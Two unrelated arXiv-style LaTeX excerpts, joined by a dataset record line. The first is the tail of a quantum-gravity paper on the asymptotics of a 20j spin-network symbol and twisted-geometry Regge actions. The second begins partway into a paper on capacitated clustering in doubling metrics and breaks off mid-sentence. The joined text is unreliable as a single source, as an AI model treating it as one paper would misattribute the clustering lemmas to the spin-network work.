This shows that the $|S,T\rangle$ states enjoy the same geometrical properties as the coherent intertwiners. Namely they are peaked on states representing closed bounded tetrahedra. We note that the proof of theorem \ref{thm_closure} also holds for general $n$-valent intertwiners by simply extending the range of indices from 4 to $n$. A similar analysis of stationary points of intertwiner generating functionals is given in \cite{Bonzom:2012bn}.
\subsection{Geometrical Interpretation}
It is interesting to make explicit the geometrical interpretation of the data encoded in the spinor variables.
We have seen that the norms of the spinors $2j_{i}=\langle z_{i}|z_{i}\rangle$ are the areas of the faces.
This can be made explicit by writing these spinors in terms of the geometrical data:
As we have seen $A_{i}$ denotes the area of the face $i$ and
we denote by $\theta_{ij} \in [0,\pi]$ the dihedral angle between the normals $N_{i}$ and $N_{j}$.
The extra data necessary is the angle $\alpha^{i}_{j}$ in the face $i$ between the oriented edge $(ij)$ and the reference vector $F_{i}$.
This data is represented in figure \ref{fig_tri} and is related to the spinors in the following lemma.
\begin{figure}
\centering
\includegraphics[width=0.7\textwidth]{triangle}
\caption{The geometrical data on the face $i$ of a framed tetrahedron.} \label{fig_tri}
\end{figure}
\begin{lemma} \label{lemma_geo}
The angle between the edge $(ij)$ and the edge $(ik)$ is $\alpha^{i}_{jk}$ where
$\alpha^{i}_{jk} = \alpha^{i}_{j}-\alpha^{i}_{k}$.
The expression of the spinor products in terms of the geometrical data is given by:
\begin{eqnarray}
[z_{i}|z_{j}\rangle &=& \epsilon_{ij} \sqrt{A_{i}A_{j}} \sin \frac{\theta_{ij}}{2} e^{i (\alpha^{i}_{j} + \alpha^{j}_{i})/2},\\
{[}z_{i}|z_{j}] &=& \sqrt{A_{i}A_{j}} \cos \frac{\theta_{ij}}{2} e^{i (\alpha^{i}_{j} - \alpha^{j}_{i})/2},
\end{eqnarray}
where $\epsilon_{ij} = +1$ if $(ij)$ is positively oriented and $-1$ otherwise. The area of face $i$ is $A_{i} = 2j_{i}$ and
$\theta_{ij}\in[0,\pi]$ is the 3d external dihedral angle for which we choose the convention $\theta_{ii}=0$. Finally, $\alpha^{i}_{j}$ is the angle in the face $i$ between the edge $(ij)$ and the reference vector $F_{i}$.
\end{lemma}
\begin{proof}
From the definitions (\ref{eqn_z_N_F}) we have
\begin{equation}
|z_{i}\rangle\langle z_{i}|= \frac{A_{i}}{2}(1 + N_{i}\cdot \sigma ),\qquad
|z_{i}][ z_{i}|= \frac{A_{i}}{2}(1 - N_{i}\cdot \sigma ).
\end{equation}
and so the scalar product between two normals is
\begin{equation} \label{eqn_N_dot}
A_i A_j N_i \cdot N_j = |\langle z_i | z_j \rangle|^2 - |\langle z_i | z_j]|^2 = A_i A_j \cos \theta_{ij}.
\end{equation}
Defining the edge vectors by $L_{ij}\equiv A_{i}A_{j}(N_{i}\times N_{j})$ then gives
\begin{equation}\label{Lij}
L_{ij} \cdot \sigma = 2i \Big( |z_{i}\rangle\langle z_{i} | z_{j}][z_{j}| - |z_{j}][z_{j}|z_{i}\rangle \langle z_{i}| \Big).
\end{equation}
Now by taking the trace of the square of (\ref{Lij}) we obtain
\begin{equation} \label{eqn_N_cross}
A_i A_j |N_i \times N_j | = 2|[z_{i}|z_{j}\rangle \langle z_j | z_i \rangle |= A_i A_j \sin \theta_{ij}.
\end{equation}
Equations (\ref{eqn_N_dot}) and (\ref{eqn_N_cross}) determine the magnitudes of the spinor products.
Lets now look at the scalar product between the edge vectors $L_{ij}$
and the complex vector $F_{i} + i N_{i}\times F_{i}$
\begin{eqnarray}
L_{ij}\cdot (F_{i} + i N_{i}\times F_{i})& =&
\frac{2}{A_{i}}{\mathrm Tr}\left( \left\{|z_{i}\rangle\langle z_{i} | z_{j}][z_{j}| - |z_{j}][z_{j}|z_{i}\rangle \langle z_{i}| \right\}
|z_{i}\rangle [ z_{i}| \right) \label{eqn_L_F_N} \\
&= & \frac{2 }{A_{i}} [ z_{i}|z_{j}][ z_{i} | z_{j}\rangle \langle z_{i}|z_{i}\rangle \nonumber \\
&=& \epsilon_{ij} A_{i}A_{j}\sin {\theta_{ij}} e^{i\alpha^{i}_{j} } = \epsilon_{ij} |L_{ij}| e^{i\alpha^{i}_{j}} \nonumber
\end{eqnarray}
where $|L_{ij}| = A_i A_j \sin \theta_{ij}$. This shows that $L_{ij} \cdot F_i = |L_{ij}| \cos(\alpha^{i}_{j})$ and so $\alpha^{i}_{j}$ is indeed the angle between the edge $(ij)$ and the frame vector on face $i$. The sign of $L_{ij}\cdot (N_{i}\times F_{i})$ determines the orientation of this angle with respect to the 2d basis $\{F_i,\hat{F}_{i}\}$ where $\hat{F}_i \equiv N_{i}\times F_{i}$.
We can also show that the angle $\alpha^{i}_{jk} \equiv \alpha^{i}_{j} - \alpha^{i}_{k}$ is the angle between the edge vectors $L_{ij}$ and $L_{ik}$ at the vertex $i$.
Using (\ref{eqn_L_F_N}) we can construct the following quantity
\begin{equation}
\epsilon_{ij} \epsilon_{ki} |L_{ij}| \cdot |L_{ik}| e^{i(\alpha^{i}_{j} - \alpha^{i}_{k})} = [L_{ij} \cdot (F_{i} + i N_{i} \times F_{i})] \cdot [L_{ik} \cdot (F_{i} - i N_{i} \times F_{i})].
\end{equation}
Now in the components of the 2d basis $L^{(1)}_{ij} = L_{ij} \cdot F_{i}$ and $L^{(2)}_{ij} = L_{ij} \cdot \hat{F}_{i}$ we have
\begin{equation}
\epsilon_{ij} \epsilon_{ki} |L_{ij}| \cdot |L_{ik}| e^{i(\alpha^{i}_{j} - \alpha^{i}_{k})}
= (L^{(1)}_{ij} + i L^{(2)}_{ij})(L^{(1)}_{ik} - i L^{(2)}_{ik}).
\end{equation}
The real part is equal to $L_{ij} \cdot L_{ik}$.
Therefore
\begin{equation} \label{eqn_alpha_i_jk}
L_{ij} \cdot L_{ik} = \epsilon_{ij} \epsilon_{ki} |L_{ij}| \cdot |L_{ik}| \cos \alpha^{i}_{jk}.
\end{equation}
which shows that $\alpha^{i}_{jk}$ is the angle between edges $(ij)$ and $(ik)$.
\end{proof}
Using (\ref{eqn_alpha_i_jk}) and the definition $L_{ij} = A_i A_j (N_i \times N_j)$ we can relate the angles $\alpha^{i}_{jk}$ to the 3d dihedral angles by
\begin{equation} \label{eqn_alpha_theta}
\epsilon_{ij} \epsilon_{ki} \cos \alpha^{i}_{jk} = \frac{\cos \theta_{jk} - \cos \theta_{ij} \cos \theta_{ik}}{ \sin \theta_{ij} \sin \theta_{ik}}.
\end{equation}
This is the spherical law of cosines relating the edges $(\theta_{ij},\theta_{jk},\theta_{ki})$ and angles
$(\alpha_{ji}^{k},\alpha_{kj}^{i},\alpha_{ik}^{j})$ of a spherical triangle. This relation with spherical geometry is captured by the so called three terms relations which we discuss next.
\subsection{Geometry of 3-terms Relations}
The relationships between the the 3d dihedral angles and the internal angles between edges is expressed via the three term relations
(Fierz identity) satisfied by a set of spinors.
There are two such types of relations.
First there are the relations arising at a given vertex of the tetrahedra which imply that the angles $(\theta_{ij},\theta_{jk},\theta_{ki})$ and
$(\alpha_{ji}^{k},\alpha_{kj}^{i},\alpha_{ik}^{j})$ are respectively the edge lengths and angles of a spherical triangle.
We can write two such relations\footnote{Note that $|z_{j}\rangle \langle z_{j} | + |z_{j}][ z_{j} | = \langle z_{j} |z_{j}\rangle \mathbbm{1}$.},
\begin{eqnarray}
\langle z_{i}|z_{j}\rangle \langle z_{j} |z_{k}\rangle + \langle z_{i}|z_{j}][ z_{j} |z_{k}\rangle &=& \langle z_{i}|z_{k}\rangle \langle z_{j} |z_{j}\rangle \\
\langle z_{i}|z_{j}\rangle \langle z_{j} |z_{k}] + \langle z_{i}|z_{j}][ z_{j} |z_{k} ] &=& \langle z_{i}|z_{k}] \langle z_{j} |z_{j}\rangle
\end{eqnarray}
which translate into
\begin{eqnarray}
c_{ij} c_{jk} \label{eqn_3_term_1}
+ s_{ij} s_{jk} e^{i\alpha^{j}_{ki} }
&=& c_{ik} e^{i(\alpha^{i}_{jk}+\alpha^{j}_{ik} + \alpha^{k}_{ij})/2},\\
c_{ij} s_{jk}
+ s_{ij} c_{jk} e^{i\alpha^{j}_{ki} }
&=& s_{ik} e^{i( \alpha^{i}_{jk}-\alpha^{j}_{ik} - \alpha^{k}_{ij})/2}, \label{eqn_3_term_2}
\end{eqnarray}
where $c_{ij} \equiv \cos \frac{\theta_{ij}}2$ and $ s_{ij}\equiv \epsilon_{ij}\sin \frac{\theta_{ij}}2$. Taking the difference of squares of equations $|(\ref{eqn_3_term_1})|^2 - |(\ref{eqn_3_term_2})|^2$ produces equation (\ref{eqn_alpha_theta}).
We also have a relation that genuinely depends on the tetrahedral geometry and involves the four spinors;
it follows from the Pl\"ucker relation that we have already made extensive use of
\begin{equation}
[z_{1}|z_{2}\rangle[z_{3}|z_{4}\rangle + [z_{1}|z_{3}\rangle[z_{4}|z_{2}\rangle + [z_{1}|z_{4}\rangle[z_{2}|z_{3}\rangle =0
\end{equation}
and it reads
\begin{equation}
s_{12}s_{34} e^{i (\alpha_{12} +\alpha_{34})/2} + s_{13}s_{24} e^{i (\alpha_{13}+\alpha_{24})/2} + s_{14}s_{23}e^{i(\alpha_{14}+\alpha_{23})/2} =0
\end{equation}
where we have defined
\begin{equation} \label{eqn_alpha_geo}
\alpha_{ij}\equiv \frac12 \sum_{k\neq i,j} (\alpha^{i}_{jk} +\alpha^{j}_{ik}).
\end{equation}
It can be checked that these angles sum up to $0$: $\sum_{i\neq j } \alpha_{ij}=0$. Now what needs to be appreciated is the non trivial fact that the angles
$$
\Phi_{S} = \alpha_{12} +\alpha_{34}
,\quad
\Phi_{T} =\alpha_{13}+\alpha_{24},\quad
\Phi_{U} = \alpha_{14}+\alpha_{23}
$$
determine completely the geometry of the tetrahedron once we know the face areas $A_{i}=2j_{i}$.
This means that $(j_{i}, \alpha_{S},\alpha_{T})$ determine the value of all the 3d dihedral angles $\theta_{ij}$ and internal angles $\alpha_{ij}^{k}$.
This non-trivial fact follows from the analysis performed in \cite{EKLF}.
\subsection{Asymptotic Evaluation of the 20j Symbol}
We will now take an indepth look at the asymptotic evaluation of the normalized $20j$ symbol.
This object depends on the choice of an orientation of the edges, and we denote by $\epsilon_{ij}$ a sign which $+1$ if the edge $[ij]$ is positively oriented from $i$ to $j$ and $-1$ otherwise.
This normalized $20j$ symbol is defined as a contraction of the normalized intertwinner $ |S,T\rangle$ times the normalisations and it is
expressed as
\begin{equation} \label{normalized_20j}
\widehat{\{20j\}}_{S_a,T_a}\equiv \frac{\{20j\}_{S_a,T_a}}{\prod_a \|S_a,T_a\|} = \frac{I(k_{ij})}{\sqrt{\prod_{a}(J_{a}+1)! \prod_{a\neq i<j}k^{a}_{ij}! }} ,
\end{equation}
where $I(k_{ij})$ is an integral over $20$ spinors $|z_{i}^{j}\rangle $. The countour of integration is a real contour where $ |z_{i}^{j}\rangle$ is related to the conjugate $|z_{j}^{i}]$ by the reality condition.
\begin{equation} \label{eqn_reality_cond}
|z_{i}^{j}\rangle = \epsilon_{ij}|z_{j}^{i} ].
\end{equation}
This condition implies that the normals of glued faces are related by $N^{j}_{i} = - N^{i}_{j}$ and that the frame vectors match $F^{i}_{j} = F^{j}_{i}$.
The integral is given by
\begin{equation}
I(k_{ij}) =\int \prod_{i\neq j} \frac{\mathrm{d}^{2} z_{j}^{i} }{\pi^2} e^{S(z^{i}_{j}) },\quad \mathrm{with}\quad S \equiv \sum_{i<j} [ z^{i}_{j} | z_{i}^{j}\rangle + \sum_{a} \sum_{i<j} k_{ij}^{a} \ln [z_{i}^{a}|z_{j}^{a}\rangle
\end{equation}
There are four spinors $|z_{i}\rangle$ associated with a framed tetrahedron.
The stationary points of this equation are given by solutions of
\begin{equation} \label{system_of_equations}
\sum_{j\neq a,i} \frac{ k_{ij}^{a} }{[z_{j}^{a}|z_{i}^{a}\rangle} [z_{j}^{a}| = - [z^{i}_{a}| = \epsilon_{ai} \langle z_{i}^{a}|,
\end{equation}
and according to the previous section the solution of these equations are given by
oriented framed tetrahedra.
The relationship between $k_{ij}^{a}$ and the spinors depends on the choice of graph orientation,
it is given by
\begin{equation} \label{eqn_k_z}
k_{ij}^{a} = \frac1{J^{a}} |[\hat{z}_{i}^{a}|\hat{z}_{j}^{a}\rangle|^{2}, \quad 2j_{ai}= \langle \hat{z}^{a}_{i}|\hat{z}^{a}_{i}\rangle,\quad J^{a} = \sum_{i\neq a} j^{a}_{i}
\end{equation}
where $|\hat{z}^{a}_{i}\rangle =|z^{a}_{i}\rangle$ if the edge is oriented from $a$ to $i$ and
$|\hat{z}^{a}_{i}\rangle = |z^{a}_{i}]$ if the edge is oriented from $i$ to $a$.
This determines the norm of the spinor scalar products in terms of $k_{ij}^{a}$.
The phases of these products are denoted $\alpha^{ab}_{i}$ and they denote the angle in the face $b$ of the tetrahedron $a$, between the edge $(bi)$ and the reference frame vector in the face $b$ of tetrahedra $a$.
As shown in lemma \ref{lemma_geo}, they are related to the spinor products by
\begin{equation}
[\hat{z}_{i}^{a}|\hat{z}_{j}^{a}\rangle =\sqrt{J^{a} k_{ij}^{a}} e^{i (\alpha_{j}^{ai}+ \alpha_{i}^{aj})/2}.
\end{equation}
Thus the on-shell evaluation of the action is
\begin{equation}
S_{\mathrm{onshell}} = -\sum_{a} J^{a} +\frac12 \sum_{a\neq i<j} k_{ij}^{a}\ln (J^{a} k_{ij}^{a} ) + \frac{i}{2}\sum_{a\neq i<j} k_{ij}^{a} (\alpha_{i}^{aj} + \alpha_{j}^{ai})
\end{equation}
The real part can be rewritten as
\begin{equation}
\mathrm{Re}(S_{\mathrm{onshell}}) = \frac12\left(\sum_{a} J_{a}\ln J_{a}-J^{a} + \sum_{a\neq i<j} ( k_{ij}^{a}\ln k_{ij}^{a} - k_{ij}^{a}) \right)
\end{equation}
which is easily recognized as the dominant\footnote{up to a term given by $ \frac14\ln(\prod_{a}( 2\pi J_{a}^{3}\prod_{i<j} (2\pi k_{ij}^{a} ) )).$ }term in the stirling expansion of $\ln\sqrt{\prod_{a}(J_a+1)! \prod_{a\neq i<j}k_{ij}^{a}!)}$. This cancels the factor in (\ref{normalized_20j}). Let us now focus on the imaginary part:
\begin{equation}\label{Ims}
{\mathrm{Im}}(S_{\mathrm{onshell}}) = \frac12 \sum_{a\neq i<j} k_{ij}^{a} (\alpha_{i}^{aj} + \alpha_{j}^{ai}).
\end{equation}
First, recall that the system of equations (\ref{system_of_equations}) possesses a gauge symmetry,
\begin{equation}
\alpha^{ai}_{j} \to \alpha^{ai}_{j} +\theta^{ai}
\end{equation}
where $\theta^{ai}= -\theta^{ia}$.
This corresponds to the rotation of the frame vector in the face $(ai)$ by an angle $\theta^{ai}$.
The action is invariant under these gauge transformations. Indeed under $|z_{i}^{a}\rangle \to e^{i\theta^{ai}} |z_{i}^{a}\rangle $ the variation of the on-shell action is
\begin{eqnarray}
2\Delta S_{\mathrm{onshell}} &=& i \sum_{a\neq i<j} k_{ij}^{a} (\theta^{ai} + \theta^{aj}) =
i\sum_{(a,i,j)} k_{ij}^{a} \theta^{ai} = i\sum_{(a,i)} \left(\sum_{j\neq (a,i)}k_{ij}^{a}\right) \theta^{ai} \nonumber \\
&=& 2i \sum_{(a,i)} j_{ai} \theta^{ai} = i\sum_{(a,i)} j_{ai} ( \theta^{ai}+\theta^{ia}) =0
\end{eqnarray}
Here we have denoted by $(a,i,j)$ or $(a,i)$ a set of indices all distinct from each other.
Therefore the on-shell action can be determined entirely in terms of gauge invariant angles. The question is which combinations appear.
There are two types of gauge invariant data:
The first type characterizes the intrinsic geometry of each tetrahedron and depends only on the data associated with one tetrahedron.
These correspond to the angles in a given tetrahedron $a$ between edges $(ij)$ and $(ik)$, and are given by
\begin{equation}
\alpha^{ai}_{jk} \equiv \alpha^{ai}_{j}-\alpha^{ai}_{k}.
\end{equation}
We already have seen in (\ref{eqn_alpha_i_jk}) that these angles are angles between the edges $(ij)$ and $(ik)$ at the tetrahedron $a$.
The second type of gauge invariant angles encode the extrinsic geometry of the gluing of the five tetrahedra. It depends on two tetrahedra and involves the sum\footnote{Since the faces $(ab)$ and $(ba)$ have opposite orientations this is really a differences of angles when we take the orientation into account.} of angles between two tetrahedra
\begin{equation}
\xi^{ab}_{i} \equiv \alpha^{ab}_{i} +\alpha^{ba}_{i}.
\end{equation}
In order to understand the geometrical meaning of these angles let us first remark that when the shapes of the triangles $(ab)$ and $(ba)$ match then the angles between the edges of the triangles when viewed from $a$ or $b$ coincide. Hence
\begin{equation} \label{eqn_shape_match}
\alpha^{ab}_{ij} =\alpha^{ba}_{ji}.
\end{equation}
This condition of shape matching therefore implies that
$
0 = \alpha^{ab}_{ij} - \alpha^{ba}_{ji} = \xi^{ab}_{i} - \xi^{ab}_{j}
$
and so $\xi^{ab}_{i}$ is {\it independent} of $i$. This is the condition which will allow us to interpret $\xi^{ab}_i$ as the 4d dihedral angle between tetrahedra $a$ and $b$.
When the face matching condition is not satisfied, the geometry is twisted in the sense of \cite{twisted}
and $\xi^{ab}_{i}$ represent a generalization of dihedral angles to twisted geometry.
Moreover, the on-shell action will therefore represent a generalization of the Regge action to twisted geometry.
Let us now express the on-shell action in terms of this data.
\begin{theorem} \label{thm_twisted_action}
The generalization of the Regge action to twisted geometry is given by
\begin{equation}\label{action}
S_{\mathbb T} = \sum_{i<j} j_{ij} \xi^{ij} + \sum_{a\neq i<j} k_{ij}^{a} \alpha_{ij}^{a}.
\end{equation}
where
\begin{equation}\label{defang}
\xi^{ij} \equiv \frac13 \sum_{k\neq (i,j)} \xi^{ij}_{k}, \quad \alpha^{a}_{ij} \equiv \frac16 \sum_{b\neq (i,j,a)} (\alpha^{ai}_{jb} +\alpha^{aj}_{ib}).
\end{equation}
\end{theorem}
\begin{proof}
Lets first recall the expression (\ref{Ims}) for the imaginary part of
the on-shell action
\begin{equation} \label{eqn_2I_action}
2{\mathrm{Im}}(S_{\mathrm{onshell}}) \equiv 2 I = \sum_{a\neq i<j} k_{ij}^{a} (\alpha_{j}^{ai} + \alpha_{i}^{aj})
=\sum_{(a,i,j)} k_{ij}^{a} \alpha_{j}^{ai}.
\end{equation}
where we denote by $(i,j)$, $(a,i,j)$ a set of index distinct from each other.
We now evaluate the sum using the symmetries $ k^{a}_{ij}= k^{a}_{ji}$ , $j_{ij}=j_{ji}$ and the relation
$ \sum_{j} k^{a}_{ij} = 2 j_{ai}$.
\begin{eqnarray} \label{eqn_action_proof}
\sum_{(a,i,j)} k^{a}_{ij} \alpha^{a}_{ij}
&=& \frac16 \sum_{(a,i,j,b)} k^{a}_{ij} (\alpha^{ai}_{j} + \alpha^{aj}_{i} - \alpha^{ai}_{b} - \alpha^{aj}_{b} )
= \frac13 \sum_{(a,i,j,b)} k^{a}_{ij} (\alpha^{ai}_{j} - \alpha^{ai}_{b}), \\
&=& \frac13 \sum_{(a,i,j)} k^{a}_{ij} \sum_{b\neq (a,i,j)}\left(\alpha^{ai}_{j} - \alpha^{ai}_{b}\right)
= 2I - \sum_{(a,i)} (\sum_{j\neq(a,i)} k^{a}_{ij}) ( \frac13\sum_{b\neq (a,i)} \alpha^{ai}_{b}),
\nonumber \\
&=& 2I - 2\sum_{(a,i)} j_{ai} ( \frac13\sum_{b\neq (a,i)} \alpha^{ai}_{b})
= 2I - \sum_{(a,i)} j_{ai} \xi^{ai} \nonumber.
\end{eqnarray}
as required.
\end{proof}
Here $\xi^{ij}$ measures the extrinsic curvature of the face $(ij)$ inside the 4-simplex. It is a generalisation of the
dihedral angle in the case of twisted geometry. The angle $\alpha^{a}_{ij}$ is a geometrical angle\footnote{See equation (\ref{eqn_alpha_geo}).} associated with the edge $(ij)$ inside the tetrahedron $a$.
The first term is a generalization of the Regge action while the second term defines a canonical phase for the intertwiners as was noted in \cite{B}. See also \cite{FC}.
\subsection{Geometricity and 4d Dihedral angles}
In this section we will discuss the connection between the $\xi^{ij}$ angles and the 4d dihedral angles of a 4-simplex when shape matching is enforced. To do so we first derive relations between the angles $\xi$ and $\theta$ from the 3-term relations. Indeed, using the reality condition (\ref{eqn_reality_cond}) and $|z^{a}_{b}\rangle\langle z^{a}_{b}| + |z^{a}_{b}][ z^{a}_{b}| = A_{ab}\mathbbm{1}$ we have
\begin{eqnarray}
\left[z^{a}_{i}|z^{a}_{b} \right] \langle z^{b}_{a} | z^{b}_{i}] - [z^{a}_{i}|z^{a}_{b}\rangle [ z^{b}_{a} | z^{b}_{i}] = \epsilon_{ab}\epsilon_{ai}\epsilon_{bi} A_{ab} \langle z^{i}_{a}|z^{i}_{b}\rangle \\
\left[z^{a}_{i}|z^{a}_{b} \right] \langle z^{b}_{a} | z^{b}_{i}\rangle - [z^{a}_{i}|z^{a}_{b}\rangle [ z^{b}_{a} | z^{b}_{i}\rangle = \epsilon_{ab}\epsilon_{ai}\epsilon_{ib} A_{ab} \langle z^{i}_{a}|z^{i}_{b}]
\end{eqnarray}
which are given explicitly by
\begin{eqnarray}
c^{a}_{ib}s^{b}_{ai} - s^{a}_{ib} c^{b}_{ai} e^{i \xi^{ab}_{i}} &=& \epsilon_{ab}\epsilon_{ai}\epsilon_{bi} c^{i}_{ab} e^{i(\xi^{ib}_{a}+\xi^{ab}_i-\xi^{ai}_{b})/2}, \label{eqn_4d_3_term_1}\\
c^{a}_{ib}c^{b}_{ai} - s^{a}_{ib} s^{b}_{ai} e^{i \xi^{ab}_{i}} &=& \epsilon_{ab}\epsilon_{ai}\epsilon_{ib} s^{i}_{ab} e^{i(-\xi^{ib}_{a}+\xi^{ab}_b-\xi^{ai}_{b})/2}, \label{eqn_4d_3_term_2}
\end{eqnarray}
where $c^{a}_{ij} \equiv \cos \frac{\theta^{a}_{ij}}2$ and $ s^{a}_{ij}\equiv \epsilon_{ij}\sin \frac{\theta^{a}_{ij}}2$. Taking the difference of squares of equations $|(\ref{eqn_4d_3_term_1})|^2 - |(\ref{eqn_4d_3_term_2})|^2$ we get
\begin{equation} \label{eqn_4d_dihedral}
-\cos \theta^{a}_{ib}\cos \theta^{b}_{ai} - \epsilon_{ib} \epsilon_{ai} \sin \theta^{a}_{ib} \sin \theta^{b}_{ai} \cos \xi^{ab}_{i} = \cos \theta^{i}_{ab}.
\end{equation}
Another way to derive this relationship is to use the relations $N^{a}_{b} = -N^{b}_{a}$ and $F^{a}_{b} = F^{b}_{a}$ and an argument similar to the one leading to (\ref{eqn_alpha_i_jk}) to show that
\begin{equation}
L^{a}_{bi} \cdot L^{b}_{ai} = \epsilon_{ib} \epsilon_{ai} |L^{a}_{bi}| \cdot |L^{b}_{ai}| \cos \xi^{ab}_{i}.
\end{equation}
Then using the defintion $L^{a}_{bi} = A_{ab} A_{ai} N^{a}_{b} \times N^{a}_{i}$ one arrives at $(\ref{eqn_4d_dihedral})$.
In the twisted picture we have three different $\xi^{ab}_{i}$ for $i\neq a,b$ and $\xi^{ab}$ is their average. In order for the tetrahedra to glue together into a geometrical 4-simplex we must impose the shape matching conditions (\ref{eqn_shape_match}). We already noted that when these conditions are satisfied $\xi^{ab}_{i}$ is independent of $i$. Then as shown in \cite{Bahr:2009qd} equation (\ref{eqn_4d_dihedral}) is the relationship between the 3d and 4d dihedral angles of a 4-simplex\footnote{Note that our convention $\theta^{a}_{ii}=0$ differs from the other convention $\theta^{a}_{ii}=\pi$.}.
Finally, we note that all the gauge invariant angles are entirely determined by the values of $k_{ij}^{a}$.
First the 3d dihedral angles are determined by the $k_{ij}^{a}$ via (\ref{eqn_k_z})
\begin{equation}
\left(\sin \frac{\theta_{ij}^{a}}{2}\right)^{2} = \frac{J^{a} k_{ij}^{a}}{4 j_{i}^{a}j_{j}^{a}}
\end{equation}
and then $\alpha^{ai}_{jk}$ and $\xi^{ab}_{i}$ are related to $\theta^{a}_{ij}$ by (\ref{eqn_alpha_theta}) and (\ref{eqn_4d_dihedral}) respectively. Furthermore, these relations give an interpretation of $k^{a}_{ij}$ in terms of spherical geometry.
\section{Discussion}
We introduced a new basis of SU(2) intertwiners which had the advantage of being both discrete and coherent. Consequently, this basis was found to enjoy many of the advantages of both the orthogonal and coherent intertwiner bases.
This basis was found to be overcomplete and satisfied a number of linear relations generated by the Pl\"ucker relation. Using these relations we were able to explicitly derive the scalar products of these states in the 4-valent case. Interestingly, it was found that these states could also be derived from an auxillary Hilbert space of states, not satisfying these linear relations, by projecting onto the kernel of an operator imposing these constraints.
In the 4-valent case it was found that the orthogonal basis elements could be derived from the new basis by simply summing over one of the two spins labelling it. This relationship allowed us to generate the various 15j symbols from a new, more fundamental symbol which we called the 20j symbol. We also developed a generalized Racah formula for spin network amplitudes on an arbitrary graph. In the case of a 4-simplex this provided another way of defining the $\{20j\}$ symbol.
Remarkably, it was found that the closed spin network amplitudes associated with this new basis admit an interpretation in terms of twisted geometries. In particular we showed that the asymptotics of the 20j implies a classical action for twisted geometry. Moreover, by studying the asymptotics of the 20j symbol, we were able to derive the asymptotics of the 15j symbol for the first time. When the shapes of glued triangles were constrained to match, the action was found to reduce to the Regge action (with a canonical phase for the intertwiners). When these constraints are not satisfied, the geometry is twisted and a generalization of the 4d dihedral angles was found in this case. This agrees with the analysis given in \cite{Dittrich:2008ar} and \cite{Dittrich:2010ey}.
What was not determined here is a four dimensional picture when the shape matching conditions do not hold. A proposal for the Levi-Civita connection in twisted geometry was given in \cite{Haggard:2012pm} which was found to reduce to the usual spin connection in the Regge case. It would be interesting to compare these results with the classical twisted geometry picture we found here.
\acknowledgments
We would like to thank Bianca Dittrich, Etera Livine, Valentin Bonzom, Eugenio Bianchi, Daniel Terno, and Carlo Rovelli for useful discussions. JH would like to thank the Natural Sciences and Engineering Research Council of Canada (NSERC) for his post graduate scholarship. Research at Perimeter Institute is supported
by the Government of Canada through Industry Canada and by the Province of Ontario
through the Ministry of Research and Innovation.
|
1,477,468,750,034 | arxiv | \subsection{Problem Definition}
In the remaining we assume that $k \eta \ge n$ since otherwise, the problem has
no solution.
The following observation is folklore. Given a set of centers $C$, the assignment
$\mu$ minimizing the cost can be computed using a min cost flow algorithm by
defining a sink with capacity $\eta$ for each center of $C$, placing a demand
of 1 on each client, and for each client $c$ and center $f \in C$, defining an edge
$(c,f)$ with capacity one and cost $\text{dist}(c,f)^p$.
Thus, given a set of centers the best assignment can always be computed in polynomial
time.
The following lemma will be useful to derive our results when $p>1$.
\begin{lemma}[E.g.: \cite{Cohen-AddadS17}]
\label{sometriangleineq}
Let $p \ge 0$ and $1/2 > \varepsilon>0$. For any $a,b,c \in A \cup F$, we have
$\text{cost}(a,b) \le (1+\varepsilon)^p \text{cost}(a,c) + \text{cost}(c,b)(1+1/\varepsilon)^p$.
\end{lemma}
\subsection{Doubling Metric Spaces and Decompositions}
Without loss of generality, we can assume that the aspect-ratio of the input
is at most $O(n^3)$. Indeed, consider the following preprocessing step: compute
an $O(\log n)$-approximation and let $v$ be the cost of the solution computed.
Then, while there is a pair of point $x,y$ that are at distance less than
$\varepsilon v/n^3$, remove $x$ and add a client at $y$ (note that the two clients at $y$
may not necessarily be assigned to the same facility in a solution).
In the instance obtained at the end of this process, a point is at distance
at most $\varepsilon v/n^2$ from its original location, and so any solution for this
instance can be converted back to the original instance with a cost increase of at most
$\varepsilon v/n \le \varepsilon \text{cost}(\text{OPT})$.
A $\delta$-\emph{net} of $V$ is a set of point $X$ such that $\forall v \in V,~
\exists x \in X~|~ d(v, x) \leq \delta$ and $\forall x, y \in X,~d(x, y) >
\delta$.
The cardinality of a
net in metrics of doubling dimension $d$ is bounded by the following lemma.
\begin{lemma}[\cite{gupta2003bounded}]\label{prop:doub:net}
Let $(V, d)$ by a metric space with doubling dimension $d$ and diameter
$\Delta$, and let $X$ be a $\delta$-net of $V$. Then $|X| \leq 2^{d \cdot
\lceil \log (\Delta/\delta)\rceil}$
\end{lemma}
We follow a few notations of~\cite{Cohen-Addad18}.
We define the \emph{rings} of a point $c$ as follows:
the $i$th ring of $c$ is the set of all points at distance
$(2^i, 2^{i+1}]$ from $c$. The rings of $c$ is the collection
of all the $i$th rings.
The following fact follows from the definition and
having aspect ratio bounded by $O(n^3/\varepsilon)$.
\begin{fact}
The number of rings for a given cluster is at most
$O(\log(n)/\varepsilon)$.
\end{fact}
We use the \emph{randomized split-trees} of Talwar~\cite{Talwar04} for
doubling metrics and the randomized dissection of
Arora~\cite{arora1998polynomial}
for the plane. Since random splittress are standard tools, we point
to~\cite{Talwar04} for a more detailed introduction.
We use the exact same definition as~\cite{Talwar04}, with a slight
change in notation; We avoid talking about clusters but use the name
\emph{boxes} instead.
A decomposition of the metric $X$ is a partitioning of $X$ into
subsets, which we call boxes. A hierarchical decomposition
is a sequence of decompositions $\mathcal{P}_0, \mathcal{P}_1, \ldots , \mathcal{P}_{\ell}$
such that every $\mathcal{P}_i$ is a refinement of $\mathcal{P}_{i+1}$, namely
each box of $\mathcal{P}_i$ is a subset of a box of $\mathcal{P}_{i+1}$.
The boxes of $\mathcal{P}_i$ are the \emph{level-$i$} boxes.
A split-tree decomposition will
be one where $P_{\ell} = \{X\}$ and $P_0 = \{ \{x\} \mid x \in X\}$.
For any point $p$ and $x>0$, we say that the ball $B(p,x)$ is \emph{cut
at level $i$}, if there are $P_1,P_2 \in \mathcal{P}_i$, and
$P_3 \in \mathcal{P}_{i+1}$ such that
$P_1 \cap B(p,x) \neq \emptyset$ and $P_2 \cap B(p,x) \neq \emptyset$ and
$B(p,x) \subseteq P_3 \in \mathcal{P}_{i+1}$.
We obtain, a decomposition achieving the following properties
(see~\cite{Talwar04}):
\begin{enumerate}
\item The total number of levels $\ell$ is
$O(\log \Delta)$, where $\Delta$
is the aspect ratio of the input metric.
\item Each level $i$ has diameter at most $2^{i+1}$.
\item Each level $i$ cluster is the union of at most
$2^{O(d)}$ level $i-1$ clusters.
\item\label{cond:rand}
For any point $u$, $x>0$ and level $i$, the probability that the
